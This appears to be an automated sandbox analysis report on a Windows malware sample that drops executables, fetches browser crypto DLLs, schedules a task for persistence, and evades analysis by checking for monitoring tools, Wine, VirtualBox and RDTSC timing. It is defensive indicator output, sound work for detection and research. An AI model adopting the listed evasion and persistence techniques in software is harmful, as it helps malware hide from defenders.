Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name:
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name:
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: xkdkavkl
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: ngrxgfaz
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: xkdkavkl
Source: random[1].exe.1.dr	Static PE information: section name: ngrxgfaz
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: xkdkavkl
Source: skotes.exe.20.dr	Static PE information: section name: ngrxgfaz
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C53B536 push ecx; ret	1_2_6C53B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F0D91C push ecx; ret	23_2_00F0D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_04BB0C5F push cs; iretd	23_2_04BB0C5D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_04BB0C54 push cs; iretd	23_2_04BB0C5D

Source: file.exe	Static PE information: section name: qrmcidjs entropy: 7.9537766387505355
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: entropy: 7.981954592412839
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: xkdkavkl entropy: 7.953569269335022
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.981954592412839
Source: random[1].exe.1.dr	Static PE information: section name: xkdkavkl entropy: 7.953569269335022
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.981954592412839
Source: skotes.exe.20.dr	Static PE information: section name: xkdkavkl entropy: 7.953569269335022

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDAFIEHIEG.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJDAFIEHIEG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDAFIEHIEG.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJDAFIEHIEG.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsJDAFIEHIEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C5655F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_6C5655F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27F09 second address: E27F0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27F0F second address: E27F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F99C163FB08h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27F30 second address: E27F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27F3E second address: E27F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16FDD second address: E16FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27318 second address: E27339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jno 00007F99C163FAF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F99C163FAFFh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27339 second address: E27342 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AE31 second address: E2AE45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FB00h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AE45 second address: E2AEDD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 05001C74h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F99C0D73D48h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d push 00000003h 0x0000002f movsx edx, di 0x00000032 push 00000000h 0x00000034 jp 00007F99C0D73D4Ch 0x0000003a and edi, dword ptr [ebp+122D19E2h] 0x00000040 or cl, 0000002Fh 0x00000043 push 00000003h 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F99C0D73D48h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Ch 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f or dword ptr [ebp+122D17DDh], edx 0x00000065 jmp 00007F99C0D73D55h 0x0000006a push E30DDEEDh 0x0000006f pushad 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AEDD second address: E2AEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99C163FAF6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AF70 second address: E2AF76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AF76 second address: E2AFCD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, 2E0730F2h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F99C163FAF8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov esi, dword ptr [ebp+122D2C2Eh] 0x00000032 movzx edx, cx 0x00000035 mov dword ptr [ebp+122D19FEh], edx 0x0000003b push 93F102A2h 0x00000040 pushad 0x00000041 jmp 00007F99C163FAFDh 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AFCD second address: E2AFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2AFD1 second address: E2B049 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 6C0EFDDEh 0x00000012 js 00007F99C163FAFAh 0x00000018 mov si, 13A0h 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F99C163FAF8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov edi, dword ptr [ebp+122D2C1Eh] 0x0000003e sub edi, 60FB59C0h 0x00000044 push 00000000h 0x00000046 jp 00007F99C163FAFDh 0x0000004c push esi 0x0000004d mov edx, 3FA1E701h 0x00000052 pop esi 0x00000053 push 00000003h 0x00000055 or cl, FFFFFFCEh 0x00000058 push A4D8850Ch 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F99C163FB06h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B049 second address: E2B08D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F99C0D73D4Dh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 64D8850Ch 0x00000012 jnp 00007F99C0D73D53h 0x00000018 pushad 0x00000019 adc bx, 3FECh 0x0000001e jp 00007F99C0D73D46h 0x00000024 popad 0x00000025 lea ebx, dword ptr [ebp+1244EB3Dh] 0x0000002b mov dh, DCh 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F99C0D73D4Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B08D second address: E2B09C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FAFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48A9C second address: E48AA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AA2 second address: E48AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AAC second address: E48AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F99C0D73D46h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AB8 second address: E48AF3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99C163FAF6h 0x00000008 jmp 00007F99C163FB07h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F99C163FB07h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E496B0 second address: E496C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F99C0D73D51h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C16 second address: E49C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C163FB05h 0x00000009 jmp 00007F99C163FAFEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C3D second address: E49C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C41 second address: E49C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A6ED second address: E4A70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 jmp 00007F99C0D73D57h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A992 second address: E4A99A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4ED48 second address: E4ED4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4ED4E second address: E4ED53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4ED53 second address: E4ED58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4ED58 second address: E4ED7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F99C163FAF6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007F99C163FB00h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4ED7A second address: E4EDA6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F99C0D73D59h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EDA6 second address: E4EDC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a jno 00007F99C163FAFCh 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push ecx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E566F1 second address: E56714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F99C0D73D4Bh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F99C0D73D4Bh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55D3A second address: E55D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E563BD second address: E563DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99C0D73D46h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jo 00007F99C0D73D4Eh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jnp 00007F99C0D73D46h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58963 second address: E58967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58A01 second address: E58A1D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007F99C0D73D4Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58BE1 second address: E58BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F99C163FAF6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58F80 second address: E58F8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58F8F second address: E58F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58F93 second address: E58F99 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59034 second address: E59039 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E595DE second address: E595EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59AA4 second address: E59AB7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59AB7 second address: E59ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59C90 second address: E59C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
